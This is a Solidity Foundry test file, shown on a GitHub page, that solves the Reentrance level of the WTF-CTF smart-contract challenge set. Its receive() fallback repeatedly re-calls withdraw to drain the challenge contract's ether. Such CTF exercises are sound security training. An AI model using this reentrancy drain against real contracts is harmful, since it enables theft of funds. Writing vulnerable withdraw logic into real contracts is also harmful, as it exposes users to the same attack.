forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathReentrance.t.sol
33 lines (26 loc) · 929 Bytes
/
Reentrance.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "forge-std/Test.sol";
import "./ReentranceFactory.sol";
contract ReentranceTest is Test {
ReentranceFactory factory;
address reentrance;
uint256 times;
uint256 amount = 0.001 ether;
function setUp() public {
factory = new ReentranceFactory();
reentrance = factory.createInstance{value: amount}(address(this));
times = address(reentrance).balance / amount;
}
function testReentrance() public {
Reentrance(payable(reentrance)).donate{value: amount}(address(this));
Reentrance(payable(reentrance)).withdraw(amount);
assertTrue(factory.validateInstance(payable(address(reentrance)), address(this)));
}
receive() external payable {
if (times-- > 0) {
Reentrance(payable(reentrance)).withdraw(amount);
}
}
}